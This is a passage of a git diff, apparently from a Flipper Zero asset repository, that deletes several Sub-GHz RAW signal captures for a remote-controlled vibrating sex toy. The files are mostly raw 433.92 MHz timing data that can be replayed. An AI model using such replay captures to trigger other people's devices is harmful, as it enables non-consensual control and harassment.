-846 425 -852 413 -854 397 -866 417 -848 1691 -418 397 -450 407 -444 413 -414 439 -432 387 -878 409 -846 415 -416 449 -426 415 -446 385 -876 411 -422 449 -416 385 -446 415 -836 423 -446 413 -412 421 -850 413 -444 395 -848 415 -450 407 -850 415 -452 403 -822 445 -418 425 -836 415 -866 413 -868 411 -834 411 -850 449 -834 413 -846 429 -852 413 -854 395 -868 1677 -424 445 -416 411 -424 441 -416 417 -452 401 -854 413 -852 397 -438 417 -416 417 -452 403 -848 417 -442 407 -416 445 -418 399 -866 417 -416 407 -456 411 -846 409 -424 423 -872 409 -430 417 -846 407 -454 379 -878 409 -422 447 -814 417 -846 429 -852 415 -838 455 -844 409 -852 449 -844 401 -848 413 -868 411 -854 1683 -420 411 -444 415 -420 393 -442 411 -416 445 -846 413 -844 425 -412 445 -416 409 -440 417 -848 409 -436 415 -450 421 -416 409 -850 415 -452 403 -428 409 -844 429 -424 441 -842 435 -388 445 -846 403 -424 445 -844 397 -424 443 -844 401 -872 423 -850 419 -846 419 -856 411 -844 425 -856 411 -838 423 -842 419 -848 1693 -452 401 -430 405 -442 411 -424 423 -444 413 -852 395 -862 419 -418 439 -430 387 -446 413 -838 425 -442 381 -450 393 -442 413 -874 399 -424 445 -414 407 -866 419 -416 411 -852 415 -416 445 -844 411 -416 451 -816 443 -418 415 -116086 131 -98 133 -964 97 -68 993 -68 463 -66 48315 -68 1693 -100 44965 -66 5809 -66 569 -66 4433 -66 429 -66 7701 -100 4301 -98 33575 -68 7681 -66 22745 -134 6391 -66 2669 -66 18567 -66 5005 -100 73727 -100 10705 -100 13359 -66 17521 -66 4155 -68 8045 -100 4045 -64 13695 -98 1123 -64 1735 -RAW_Data: -100 4723 -68 21883 -132 3675 -98 989 -66 11775 -66 30869 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_1.sub deleted file mode 100644 index afb7e4769..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_1.sub +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -98 2109 1310 74509 -66 3089 -64 15463 -98 7729 -98 8101 -68 20831 -66 28429 -66 21043 -66 10529 -66 8731 -828 415 -852 405 -852 451 -844 401 -852 413 -854 397 -866 417 -840 1699 -408 425 -440 415 -412 439 -410 441 -416 421 -856 409 -856 399 -430 409 -448 417 -400 435 -410 447 -414 427 -838 421 -418 439 -428 415 -418 417 -856 425 -840 447 -420 427 -836 421 -418 439 -844 421 -418 437 -824 451 -384 445 -848 415 -844 421 -868 415 -836 413 -856 425 -838 439 -824 451 -842 437 -844 419 -820 1701 -440 385 -444 415 -420 435 -430 409 -416 417 -850 439 -846 421 -398 437 -842 429 -426 411 -414 437 -436 415 -848 411 -424 423 -446 411 -422 429 -820 451 -848 421 -422 397 -862 419 -418 439 -840 419 -418 443 -822 417 -418 451 -818 443 -844 425 -854 411 -834 441 -856 395 -866 421 -848 439 -846 419 -820 421 -876 1693 -384 439 -414 445 -414 419 -426 441 -382 451 -850 413 -842 419 -428 411 -842 427 -424 443 -384 437 -440 415 -850 407 -422 421 -446 415 -418 433 -852 413 -834 445 -406 435 -842 421 -410 447 -842 403 -422 447 -844 431 -388 445 -844 403 -850 449 -820 419 -874 409 -860 419 -846 401 -852 413 -856 425 -838 419 -850 1697 -438 431 -420 417 -414 409 -458 417 -416 415 -868 381 -882 409 -410 415 -886 399 -430 415 -416 417 -452 403 -848 415 -442 411 -416 445 -414 409 -872 407 -864 419 -412 409 -864 419 -418 407 -852 449 -416 407 -868 417 -416 411 -848 415 -844 431 -852 413 -864 409 -872 409 -838 419 -846 441 -846 419 -858 411 -854 1681 -426 427 -410 415 -452 385 -452 403 -424 441 -844 399 -848 417 -452 407 -854 413 -410 457 -388 445 -416 419 -862 411 -418 449 -390 439 -412 415 -886 399 -828 451 -414 413 -852 415 -418 449 -856 413 -418 417 -848 435 -388 445 -844 405 -848 449 -852 419 -814 449 -844 413 -848 423 -852 417 -846 417 -824 443 -846 1681 -418 419 -450 403 -426 405 -412 445 -422 427 -838 419 -848 433 -388 445 -846 401 -424 443 -414 413 -420 425 -838 453 -420 399 -432 417 -446 383 -868 411 -856 423 -442 381 -884 395 -436 417 -846 409 -418 441 -842 407 -438 417 -124284 133 -850 361 -66 265 -100 19725 -66 33663 -68 465 -66 10291 -66 1343 -66 26927 -66 565 -98 27417 -66 10861 -66 6885 -100 19663 -66 6397 -100 9233 -100 763 -66 431 -66 1989 -66 2699 -66 7019 -66 2543 -98 43795 -132 10513 -66 16849 -96 5637 -132 2819 -98 42293 -132 199 -100 13591 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_2.sub deleted file mode 100644 index d0304a462..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 40464 2135 -66 3319 -102 925 -66 867 -66 559 -130 4549 -98 7327 -64 163 -66 829 -100 5211 -132 4021 -66 8349 -66 957 -68 3845 -66 4865 -132 1121 -66 359 -100 2393 -134 14837 -100 1655 -66 5501 -100 1277 -66 1343 -64 4505 -66 3281 -66 1227 -66 1931 -66 1059 -100 497 -98 8359 -66 8589 -98 19597 -66 2541 -100 929 -132 495 -66 931 -166 2735 -98 3385 -66 4765 -66 2587 -66 131 -98 2465 -100 4845 -130 3809 -100 727 -66 2123 -68 2765 -66 327 -66 1763 -66 8013 -132 927 -98 887 -130 2009 -68 5167 -134 863 -66 6327 -164 229 -64 2559 -66 9829 -100 557 -134 8765 -66 3447 -100 591 -98 4917 -66 555 -66 7509 -100 769 -166 2047 -100 493 -132 689 -98 3885 -864 413 -876 407 -874 391 -840 417 -852 423 -840 413 -878 407 -838 1677 -448 383 -450 409 -444 411 -414 405 -460 387 -876 409 -854 415 -418 443 -850 411 -418 415 -418 437 -428 385 -876 417 -428 411 -442 413 -418 429 -854 381 -900 381 -450 431 -852 419 -414 415 -854 425 -410 415 -884 399 -430 385 -876 417 -862 413 -844 423 -852 413 -852 425 -836 451 -850 409 -846 421 -852 387 -874 1687 -418 441 -410 415 -450 421 -416 407 -454 415 -844 435 -848 385 -450 405 -856 413 -416 433 -428 407 -844 427 -428 409 -448 409 -438 417 -848 407 -420 423 -840 447 -416 409 -876 385 -456 399 -858 419 -418 409 -868 419 -414 417 -862 413 -846 423 -854 411 -856 397 -868 417 -848 435 -846 419 -858 383 -870 409 -838 1697 -446 407 -436 415 -418 417 -454 405 -426 409 -846 429 -850 415 -452 405 -850 415 -442 397 -424 445 -844 433 -388 443 -416 413 -424 423 -872 407 -436 419 -842 409 -436 415 -842 441 -410 417 -874 399 -436 417 -842 409 -438 415 -840 441 -836 421 -848 437 -846 419 -836 415 -866 413 -854 425 -840 419 -848 441 -844 1705 -420 421 -418 407 -424 443 -382 451 -428 417 -840 449 -810 429 -426 411 -842 431 -426 441 -380 445 -850 415 -416 451 -418 409 -444 411 -820 437 -432 415 -844 437 -430 417 -846 411 -420 423 -836 453 -388 439 -842 419 -416 407 -886 419 -842 433 -846 385 -852 421 -876 419 -818 441 -844 425 -818 445 -854 399 -860 1705 -388 443 -416 419 -434 427 -408 415 -452 421 -852 387 -838 441 -436 419 -842 409 -440 417 -416 453 -852 387 -444 415 -416 433 -410 445 -814 427 -424 441 -840 433 -388 445 -844 403 -424 445 -842 435 -388 445 -844 405 -424 445 -842 405 -848 415 -852 423 -842 453 -820 443 -846 419 -852 417 -842 407 -850 417 -842 1721 -420 423 -426 445 -RAW_Data: -412 413 -418 411 -446 415 -854 429 -836 419 -420 437 -862 419 -414 411 -418 411 -876 419 -428 427 -408 415 -448 417 -820 419 -446 415 -856 397 -432 415 -840 441 -410 415 -840 441 -408 413 -850 453 -406 425 -117478 95 -2598 231 -634 65 -66 229 -200 363 -264 199 -100 97 -334 695 -66 2719 -134 4005 -100 1263 -66 1993 -68 2243 -100 1891 -66 17249 -98 65 -164 6955 -132 97 -196 395 -66 853 -66 6089 -130 3223 -100 2009 -66 6371 -134 499 -68 6903 -98 2799 -66 3833 -98 865 -100 899 -66 1125 -134 7509 -66 5371 -100 465 -66 11855 -66 1865 -66 4745 -66 5393 -64 5627 -98 6235 -66 11717 -98 2245 -66 3187 -66 997 -168 1393 -66 14023 -98 10045 -66 833 -100 3721 -98 21269 -98 2345 -66 6829 -66 6101 -132 427 -66 5255 -66 1293 -68 2459 -98 5331 -68 6097 -64 359 -264 2367 -66 927 -132 11345 -98 3069 -132 7543 -66 1029 -132 3675 -66 7743 -132 133 -66 5303 -66 3013 -100 5299 -132 2971 -100 1493 -134 791 -100 3819 -98 3817 -66 6659 -100 4551 -68 5491 -66 12477 -100 4397 -66 6709 -130 889 -68 4581 -68 131 -100 3689 -66 335 -132 1395 -68 3281 -100 589 -66 1321 -66 2937 -102 601 -66 2383 -100 8123 -132 7623 -66 2635 -66 4137 -66 1773 -98 6369 -66 6093 -132 4333 -130 1217 -196 4581 -66 99 -200 1261 -68 1835 -134 7265 -98 4113 -66 459 -66 231 -68 2135 -66 2681 -66 6289 -66 3091 -132 657 -64 2759 -166 1323 -132 565 -132 793 -132 2237 -100 4351 -100 5203 -68 3085 -66 8031 -100 3157 -68 627 -66 12183 -166 2763 -98 4745 -164 7335 -100 2449 -132 4179 -100 8317 -132 5385 -68 1997 -66 12483 -98 589 -66 3271 -164 3311 -100 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_3.sub deleted file mode 100644 index 347d9842e..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 4415 3582 1413 -100 16307 -66 6331 -64 2201 -66 3187 -66 731 -198 1345 -66 26537 -98 299 -100 565 -68 2289 -66 11697 -66 893 -130 2301 -66 7547 -66 955 -98 8637 -66 983 -132 2721 -68 597 -66 3827 -132 227 -100 4575 -66 2791 -66 11311 -826 427 -840 417 -848 439 -846 421 -854 383 -884 399 -866 415 -844 1693 -450 403 -424 407 -418 447 -390 435 -434 417 -846 415 -862 409 -418 413 -882 409 -422 413 -418 439 -860 415 -416 409 -456 389 -442 383 -886 413 -410 425 -872 383 -456 399 -866 417 -418 407 -856 415 -416 443 -850 411 -416 415 -850 439 -844 421 -838 413 -884 389 -874 411 -844 413 -876 395 -852 413 -852 423 -874 1665 -418 443 -418 411 -446 413 -418 425 -444 415 -846 399 -880 383 -452 407 -852 415 -450 399 -426 411 -876 399 -850 415 -450 403 -428 409 -844 427 -852 417 -870 389 -444 415 -854 425 -442 383 -884 367 -460 387 -874 417 -430 397 -868 417 -848 435 -848 387 -854 423 -876 411 -850 411 -848 425 -852 413 -854 395 -868 1701 -420 415 -418 405 -460 387 -444 417 -452 401 -856 413 -836 411 -446 415 -864 381 -446 419 -442 409 -844 425 -854 413 -452 397 -450 379 -882 385 -884 389 -874 411 -418 425 -838 417 -422 449 -836 413 -448 417 -856 411 -418 415 -848 439 -848 423 -856 381 -882 399 -862 417 -848 435 -846 385 -858 413 -882 397 -870 1671 -422 443 -418 409 -438 417 -450 385 -452 405 -852 413 -870 379 -450 393 -884 387 -446 415 -412 437 -848 389 -884 387 -446 417 -444 409 -848 425 -852 413 -838 417 -448 387 -884 387 -444 415 -872 385 -446 415 -866 411 -416 417 -872 381 -882 393 -868 413 -878 411 -846 421 -856 381 -884 397 -866 417 -848 405 -882 1675 -450 385 -452 403 -426 441 -414 411 -424 425 -838 417 -848 439 -418 415 -846 441 -420 413 -420 449 -832 413 -844 429 -424 409 -446 413 -850 413 -844 425 -854 415 -440 395 -880 385 -444 409 -878 395 -426 441 -842 399 -426 409 -876 395 -870 385 -880 411 -846 415 -864 411 -846 425 -852 413 -868 381 -876 409 -852 1695 -428 405 -416 445 -416 411 -444 383 -448 393 -868 415 -870 409 -410 435 -846 421 -412 445 -416 409 -868 417 -846 399 -422 443 -418 409 -888 415 -844 401 -850 413 -450 405 -852 415 -452 401 -850 415 -450 403 -854 413 -418 433 -132490 67 -632 133 -1432 761 -134 167 -100 65 -164 163 -66 163 -98 4427 -66 8293 -100 12145 -66 525 -68 6299 -100 7871 -100 2311 -132 8817 -66 7233 -132 5225 -66 4143 -66 1453 -66 5915 -66 11751 -66 12201 -100 -RAW_Data: 831 -68 1559 -100 2187 -98 5645 -262 195 -64 1683 -100 497 -66 17841 -66 1823 -100 1555 -66 46271 -66 427 -66 2891 -66 1095 -132 2155 -100 1065 -66 6315 -66 529 -98 1237 -66 963 -66 2239 -98 5625 -64 7525 -66 2883 -66 9283 -66 7685 -98 3079 -66 1357 -66 7121 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_4.sub deleted file mode 100644 index ca448054f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_13_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 9278 12567 -100 5183 -66 7505 -66 4007 -100 651 -66 5377 -66 567 -132 1247 -98 4973 -66 1811 -66 631 -66 4617 -66 2159 -68 4181 -100 2917 -66 1027 -66 231 -166 3259 -66 3881 -66 623 -134 11405 -98 7155 -66 21453 -100 5507 -100 1793 -100 759 -98 3993 -134 1027 -100 7147 -66 5287 -100 4247 -842 425 -858 411 -854 399 -862 417 -848 401 -850 415 -888 387 -872 1691 -414 411 -424 425 -444 411 -420 427 -396 435 -844 429 -848 415 -450 405 -856 413 -416 431 -410 445 -846 397 -854 415 -416 433 -426 411 -878 397 -850 415 -854 425 -444 381 -884 397 -438 417 -846 415 -434 395 -868 415 -420 439 -862 417 -844 397 -882 417 -850 389 -876 409 -850 413 -846 423 -850 415 -854 395 -870 1677 -424 445 -382 449 -428 395 -468 381 -450 391 -884 389 -872 411 -418 425 -840 417 -420 437 -860 383 -448 411 -426 423 -446 413 -836 411 -446 415 -452 397 -836 415 -450 401 -852 415 -452 401 -852 415 -454 401 -854 411 -412 423 -846 417 -898 381 -882 401 -864 417 -848 397 -850 417 -886 387 -872 411 -846 415 -846 1681 -452 389 -450 407 -426 409 -416 449 -422 399 -860 419 -848 441 -388 445 -848 405 -424 445 -844 433 -420 417 -416 407 -458 387 -874 411 -422 427 -410 415 -886 399 -436 417 -842 437 -426 387 -874 409 -422 443 -846 409 -432 387 -876 419 -854 413 -846 419 -852 411 -856 393 -868 417 -848 441 -814 417 -886 389 -874 1681 -416 417 -420 435 -434 417 -418 415 -418 433 -854 411 -854 395 -470 381 -884 399 -436 415 -848 409 -454 389 -442 415 -420 431 -850 417 -416 417 -450 403 -852 411 -410 423 -870 423 -416 409 -854 413 -410 423 -850 415 -452 401 -856 411 -868 379 -884 415 -838 417 -846 429 -854 413 -834 411 -850 435 -862 419 -844 1651 -454 391 -452 407 -410 445 -412 407 -458 387 -876 411 -846 415 -418 415 -882 411 -418 415 -848 439 -416 417 -418 441 -410 415 -850 405 -454 409 -418 417 -856 421 -444 381 -852 403 -456 409 -846 435 -428 417 -842 409 -432 385 -878 411 -850 449 -842 399 -850 415 -868 411 -834 411 -886 417 -832 417 -844 427 -850 1703 -418 417 -410 457 -418 417 -416 409 -438 415 -848 437 -826 419 -446 419 -822 443 -416 415 -846 441 -418 417 -418 439 -412 415 -850 407 -454 409 -418 417 -854 427 -408 417 -850 409 -438 413 -852 439 -394 423 -844 439 -430 387 -135524 131 -230 65 -198 299 -100 167 -66 167 -68 231 -64 361 -132 793 -100 7647 -166 18165 -98 1057 -66 2369 -66 3617 -66 7295 -66 13665 -66 4613 -68 3219 -RAW_Data: -66 4313 -66 4059 -66 3803 -66 3853 -66 1363 -66 3865 -130 4329 -98 14349 -132 2453 -100 2957 -132 8791 -98 3763 -66 11289 -134 7335 -100 4509 -66 4421 -66 1553 -98 9761 -134 2895 -132 1445 -64 9243 -132 2853 -130 4069 -66 555 -66 721 -66 1019 -100 1447 -66 2473 -100 12889 -100 14967 -66 4123 -66 7845 -100 2341 -68 7955 -100 1387 -68 761 -66 929 -66 97 -134 399 -68 863 -98 663 -68 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_1.sub deleted file mode 100644 index 593ca02cb..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_1.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 3585 2020 2745 -66 10341 -98 3521 -66 5395 -68 8591 -98 5777 -66 693 -66 595 -66 11141 -66 3845 -68 19535 -100 6145 -66 7581 -164 467 -100 3349 -100 2319 -100 22595 -98 427 -66 1215 -132 293 -98 1277 -66 2509 -66 267 -132 2627 -66 295 -98 18029 -132 2267 -66 967 -858 375 -878 365 -922 351 -912 361 -904 379 -888 369 -876 389 -882 1671 -434 413 -444 385 -436 399 -444 413 -446 409 -838 415 -874 407 -412 413 -876 409 -412 445 -414 411 -412 445 -856 399 -436 417 -416 417 -452 405 -850 417 -866 411 -452 389 -854 425 -444 411 -838 425 -440 413 -854 397 -434 413 -850 453 -832 411 -838 427 -850 415 -854 423 -836 447 -848 411 -846 423 -852 413 -870 1671 -442 417 -416 417 -418 435 -426 411 -446 411 -848 413 -842 429 -852 415 -416 435 -426 407 -416 443 -420 411 -878 411 -416 409 -448 413 -418 429 -820 413 -882 399 -436 417 -848 407 -458 385 -876 411 -420 411 -874 413 -418 409 -878 419 -818 443 -842 427 -852 417 -844 409 -830 451 -846 401 -854 413 -868 379 -912 1681 -388 441 -444 415 -420 425 -410 447 -414 407 -864 417 -848 405 -850 413 -452 403 -424 443 -414 411 -420 423 -842 353 -494 411 -424 441 -418 383 -876 423 -836 419 -418 441 -840 419 -418 93 -64 281 -838 419 -418 453 -830 415 -416 417 -882 409 -838 423 -854 411 -856 397 -864 419 -846 435 -814 417 -854 425 -840 439 -826 1241 -400 427 -418 417 -450 393 -434 415 -418 417 -854 423 -840 417 -850 439 -388 447 -414 451 -406 425 -410 445 -856 139 -404 411 -444 413 -440 133 -68 201 -862 429 -838 259 -454 409 -836 451 -416 405 -850 415 -436 365 -900 429 -426 409 -870 395 -870 419 -826 411 -870 409 -838 447 -844 413 -842 429 -854 411 -868 379 -886 989 -422 399 -436 417 -416 417 -452 405 -422 441 -844 401 -850 413 -852 423 -446 413 -418 297 -66 445 -416 407 -870 419 -416 411 -426 425 -478 387 -854 399 -928 331 -442 429 -838 419 -418 451 -832 413 -418 137 -824 437 -388 445 -848 401 -870 425 -824 445 -856 397 -864 417 -848 403 -882 385 -854 421 -876 411 -846 741 -418 429 -428 375 -454 413 -448 399 -436 417 -842 409 -868 419 -846 439 -420 417 -416 175 -406 427 -408 415 -850 405 -458 387 -446 415 -442 429 -846 421 -816 423 -446 415 -866 287 -546 423 -850 417 -448 389 -852 427 -408 415 -124914 131 -3714 593 -98 97 -528 295 -166 163 -228 22805 -66 1265 -66 10895 -100 3193 -64 15541 -66 6837 -98 2767 -98 11223 -98 361 -66 27333 -66 1251 -134 7071 -68 -RAW_Data: 1299 -100 1331 -166 1253 -162 1281 -200 1123 -66 12117 -66 3945 -66 1955 -66 301 -68 565 -66 20215 -98 20483 -134 2549 -134 1663 -66 7155 -66 8121 -66 8405 -132 5237 -66 2761 -166 2021 -66 14373 -66 2725 -98 6845 -98 1325 -98 1183 -66 465 -66 4715 -100 1503 -66 2561 -132 3223 -66 1331 -100 97 -66 1951 -98 6541 -132 2383 -132 2391 -100 2227 -98 2421 -66 3857 -264 5001 -100 365 -68 1059 -68 2847 -66 231 -68 3279 -132 233 -134 6325 -98 2563 -100 2439 -66 1253 -66 2217 -64 129 -66 2679 -66 3629 -66 9937 -66 1671 -66 3205 -100 2741 -68 6231 -66 2401 -66 2443 -100 1595 -68 565 -98 5893 -66 16613 -66 499 -66 10829 -66 3909 -66 10763 -66 2695 -196 429 -230 3987 -98 559 -66 4527 -198 1251 -100 5163 -98 893 -98 9429 -98 467 -66 1501 -98 6061 -66 3715 -66 3101 -66 3109 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_2.sub deleted file mode 100644 index 3b813f81f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_2.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 14501 5769 20813 -98 1415 -66 4073 -198 1121 -100 1839 -68 8373 -132 5885 -100 7225 -68 3813 -64 2765 -66 2109 -66 2163 -66 1729 -100 2509 -66 5901 -68 4939 -66 5415 -66 1835 -98 4793 -100 5873 -66 1877 -66 1507 -66 4757 -132 3929 -856 411 -844 425 -840 421 -848 443 -814 449 -820 421 -842 447 -848 1673 -438 429 -410 413 -448 397 -432 409 -448 419 -852 419 -848 419 -858 413 -416 417 -418 451 -404 423 -840 415 -446 409 -444 411 -414 425 -850 413 -420 433 -854 413 -420 431 -854 387 -446 417 -854 427 -410 415 -850 435 -428 415 -846 419 -860 411 -844 427 -852 411 -868 379 -852 435 -864 417 -846 397 -852 449 -824 1701 -414 417 -450 385 -450 405 -424 441 -414 413 -852 413 -848 421 -854 413 -416 435 -426 407 -416 445 -848 413 -844 423 -426 407 -416 449 -854 409 -844 425 -850 387 -446 415 -868 379 -450 393 -886 389 -446 415 -836 415 -450 389 -850 425 -874 419 -852 411 -846 417 -836 415 -852 427 -840 417 -848 439 -844 423 -850 1669 -450 415 -416 427 -398 435 -418 415 -454 401 -862 417 -848 403 -882 383 -450 405 -424 443 -414 413 -850 413 -844 425 -426 405 -416 445 -846 411 -846 419 -838 417 -450 405 -854 413 -412 433 -848 423 -414 411 -880 383 -450 407 -854 415 -868 381 -902 379 -872 409 -868 417 -846 399 -848 417 -850 427 -836 453 -820 1669 -452 423 -400 435 -418 415 -420 437 -432 417 -846 409 -850 413 -876 399 -422 443 -414 411 -422 413 -872 417 -852 409 -418 415 -418 443 -840 417 -848 443 -848 419 -398 433 -844 427 -428 409 -844 425 -428 405 -846 429 -426 409 -878 399 -854 413 -852 423 -838 417 -850 405 -850 417 -858 413 -842 435 -862 415 -844 1651 -454 391 -450 409 -428 407 -448 419 -428 399 -858 419 -844 401 -852 413 -452 405 -428 407 -448 413 -848 413 -844 427 -430 407 -418 417 -848 441 -844 425 -852 411 -410 439 -844 419 -398 435 -846 425 -412 411 -878 399 -424 443 -844 401 -884 385 -852 423 -874 419 -818 441 -846 425 -852 415 -834 443 -834 411 -848 1677 -442 409 -434 417 -448 419 -418 407 -424 443 -844 399 -852 415 -850 411 -444 411 -420 431 -432 407 -842 429 -856 413 -418 431 -428 407 -876 397 -854 415 -854 427 -410 415 -884 399 -428 385 -878 411 -424 425 -838 417 -420 409 -119984 97 -300 163 -198 703 -98 1261 -134 129 -100 2119 -66 461 -66 9285 -166 6799 -66 1723 -132 3555 -66 6313 -100 623 -166 859 -66 4783 -66 1249 -66 1941 -132 3717 -66 161 -98 14521 -64 4897 -66 195 -66 887 -66 -RAW_Data: 4667 -66 2895 -68 7017 -66 5905 -68 22971 -66 12701 -100 7245 -66 15937 -98 11821 -66 15685 -130 7685 -100 3427 -66 6355 -98 787 -66 1519 -66 233 -66 4461 -66 2929 -100 20309 -66 1095 -66 3407 -134 399 -100 633 -66 2571 -66 1977 -100 12885 -66 527 -66 829 -66 2025 -64 299 -100 2259 -64 2043 -66 9949 -134 2865 -66 10335 -68 2803 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_3.sub deleted file mode 100644 index c14c29304..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_3.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -100 497 -66 1895 1094 15185 -66 1333 -66 495 -66 12129 -98 5855 -66 3755 -166 1721 -66 259 -100 6261 -100 5955 -66 361 -132 2365 -66 1119 -64 231 -130 457 -66 1423 -100 2709 -100 131 -66 3071 -100 1397 -66 8451 -98 12967 -68 899 -66 733 -100 7313 -66 5219 -132 10993 -66 5247 -98 1387 -100 1037 -812 439 -870 409 -826 449 -842 401 -850 413 -854 423 -838 413 -878 1661 -450 407 -426 409 -448 413 -418 411 -446 383 -868 411 -882 415 -836 415 -448 413 -418 411 -444 415 -854 397 -866 417 -418 407 -456 379 -878 417 -856 413 -880 399 -426 409 -876 401 -424 445 -846 397 -424 441 -844 403 -424 411 -878 397 -882 385 -852 425 -874 415 -856 411 -846 387 -890 379 -882 399 -860 417 -846 1689 -418 395 -448 445 -420 379 -448 409 -426 411 -840 417 -886 409 -846 427 -448 379 -424 411 -878 397 -422 445 -416 411 -422 411 -878 411 -420 413 -446 415 -870 379 -448 393 -870 413 -444 407 -844 423 -430 407 -846 425 -444 413 -848 401 -882 385 -870 413 -852 395 -864 417 -850 405 -882 383 -886 417 -846 407 -850 1699 -426 407 -418 411 -446 411 -446 413 -410 439 -842 427 -852 413 -850 425 -442 381 -450 427 -852 413 -420 431 -430 407 -418 415 -848 437 -420 415 -416 439 -858 385 -416 445 -846 413 -416 447 -846 411 -416 445 -846 413 -416 417 -846 439 -846 421 -852 417 -846 409 -870 419 -846 433 -844 385 -852 423 -876 413 -842 1699 -398 435 -416 451 -386 441 -412 415 -450 421 -838 413 -856 421 -838 419 -418 409 -440 445 -834 411 -446 419 -418 411 -426 443 -808 465 -390 443 -414 413 -850 417 -416 445 -842 417 -416 451 -816 443 -416 417 -846 443 -388 449 -842 441 -814 447 -836 413 -856 425 -838 421 -846 439 -844 423 -852 411 -858 429 -838 1711 -388 443 -382 445 -422 425 -412 415 -452 423 -822 451 -848 411 -846 447 -382 445 -416 409 -846 447 -420 427 -408 415 -454 421 -820 421 -444 107 -430 415 -840 409 -414 443 -858 397 -432 133 -1160 413 -412 409 -842 447 -420 427 -908 347 -854 443 -912 353 -822 435 -992 259 -870 415 -1042 237 -834 409 -1116 179 -818 1299 -228 157 -432 449 -412 407 -438 99 -246 71 -430 417 -418 415 -856 429 -836 419 -848 435 -386 447 -416 451 -832 415 -416 447 -416 241 -578 423 -878 413 -546 299 -416 413 -850 409 -412 441 -850 407 -620 247 -858 421 -414 385 -882 413 -416 447 -128220 197 -66 595 -332 363 -66 97 -100 97 -132 5525 -66 4593 -66 3581 -134 3469 -64 19321 -100 3839 -66 755 -66 3461 -100 3097 -RAW_Data: -166 7871 -132 2321 -66 12543 -98 3371 -68 6283 -132 1095 -100 2981 -64 10103 -66 3187 -100 717 -98 259 -66 10437 -164 18377 -100 1565 -66 5073 -66 6551 -100 1597 -66 663 -66 14769 -98 3397 -100 1001 -100 2007 -66 3139 -66 8713 -66 13605 -66 3061 -64 7073 -164 8571 -132 4477 -100 991 -134 4003 -66 4041 -100 497 -68 3513 -164 7507 -66 6937 -100 895 -66 303 -98 6823 -66 2649 -68 1861 -100 2817 -100 7869 -164 2185 -100 2239 -98 1723 -68 5005 -66 1753 -166 4843 -66 1483 -98 871 -68 3951 -134 2177 -66 2411 -66 4461 -102 15131 -66 529 -66 2755 -98 4123 -66 2227 -64 523 -100 4565 -64 12045 -98 6209 -66 3307 -100 1295 -66 591 -64 2339 -66 229 -66 1455 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_4.sub deleted file mode 100644 index 7e6217f28..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_14_4.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: 